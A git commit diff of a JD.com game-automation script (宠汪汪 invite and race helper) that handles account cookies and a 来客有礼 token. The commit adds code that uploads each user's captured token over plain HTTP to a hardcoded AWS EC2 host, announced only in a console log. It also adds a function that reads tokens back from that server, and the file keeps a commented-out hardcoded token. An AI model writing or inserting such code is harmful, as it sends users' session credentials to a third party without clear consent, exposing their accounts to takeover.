This commit is contained in:
lxk0301
2020-11-29 20:47:03 +08:00
parent d43dc0a1f7
commit b8043ad153

View File

@ -1,6 +1,6 @@
/** /**
宠汪汪邀请助力与赛跑助力脚本感谢github@Zero-S1提供帮助 宠汪汪邀请助力与赛跑助力脚本感谢github@Zero-S1提供帮助
更新时间2020-11-16宠汪汪助力更新Token的配置正则表达式已改 更新时间2020-11-29宠汪汪助力更新Token的配置正则表达式已改
token时效很短几个小时就失效了,闲麻烦的放弃就行 token时效很短几个小时就失效了,闲麻烦的放弃就行
每天拿到token后可一次性运行完毕即可。 每天拿到token后可一次性运行完毕即可。
@ -43,7 +43,7 @@ let invite_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45
//给下面好友赛跑助力 //给下面好友赛跑助力
let run_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45a6b5953b15b,zooooo58"]; let run_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45a6b5953b15b,zooooo58"];
// $.LKYLToken = '76fe7794c475c18711e3b47185f114b5' || $.getdata('jdJoyRunToken'); // $.LKYLToken = '76fe7794c475c18711e3b47185f114b5' || $.getdata('jdJoyRunToken');
$.LKYLToken = $.getdata('jdJoyRunToken'); // $.LKYLToken = $.getdata('jdJoyRunToken');
//Node.js用户请在jdCookie.js处填写京东ck; //Node.js用户请在jdCookie.js处填写京东ck;
const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
//IOS等用户直接用NobyDa的jd cookie //IOS等用户直接用NobyDa的jd cookie
@ -101,7 +101,7 @@ if ($.isNode()) {
} }
//获取来客有礼Token //获取来客有礼Token
let count = 0, countFlag = 0; let count = 0;
function getToken() { function getToken() {
const url = $request.url; const url = $request.url;
$.log(`${$.name}url\n${url}\n`) $.log(`${$.name}url\n${url}\n`)
@ -118,6 +118,15 @@ function getToken() {
count = 0; count = 0;
$.setdata(`${count}`, 'countFlag'); $.setdata(`${count}`, 'countFlag');
$.msg($.name, '更新Token: 成功🎉', ``); $.msg($.name, '更新Token: 成功🎉', ``);
console.log(`开始上传Token`)
$.http.get({url: `http://ec2-3-87-209-33.compute-1.amazonaws.com/api/v1/jd/joy/${LKYLToken}/`}).then((resp) => {
if (resp.statusCode === 200) {
let { body } = resp;
console.log(`Token提交结果:${body}`)
body = JSON.parse(body);
console.log(`${body.message}`)
}
});
} }
$.setdata(LKYLToken, 'jdJoyRunToken'); $.setdata(LKYLToken, 'jdJoyRunToken');
} }
@ -144,12 +153,39 @@ function getToken() {
$.done() $.done()
} }
} }
function readToken() {
return new Promise(async resolve => {
$.get({url: `http://ec2-3-87-209-33.compute-1.amazonaws.com/api/v1/jd/joy/read/1/`}, (err, resp, data) => {
try {
if (err) {
console.log(`${JSON.stringify(err)}`)
console.log(`${$.name} API请求失败请检查网路重试`)
} else {
if (data) {
console.log(data)
data = JSON.parse(data);
}
}
} catch (e) {
$.logErr(e, resp)
} finally {
resolve(data);
}
})
})
}
async function main() { async function main() {
console.log(`打印token \n${$.getdata('jdJoyRunToken')}\n`)
if (!cookiesArr[0]) { if (!cookiesArr[0]) {
$.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
return; return;
} }
const readTokenRes = await readToken();
if (readTokenRes && readTokenRes.code === 200) {
$.LKYLToken = readTokenRes.data[0] || $.getdata('jdJoyRunToken');
} else {
$.LKYLToken = $.getdata('jdJoyRunToken');
}
console.log(`打印token \n${$.LKYLToken}\n`)
if (!$.LKYLToken) { if (!$.LKYLToken) {
$.msg($.name, '【提示】请先获取来客有礼宠汪汪token', "微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token"); $.msg($.name, '【提示】请先获取来客有礼宠汪汪token', "微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token");
return; return;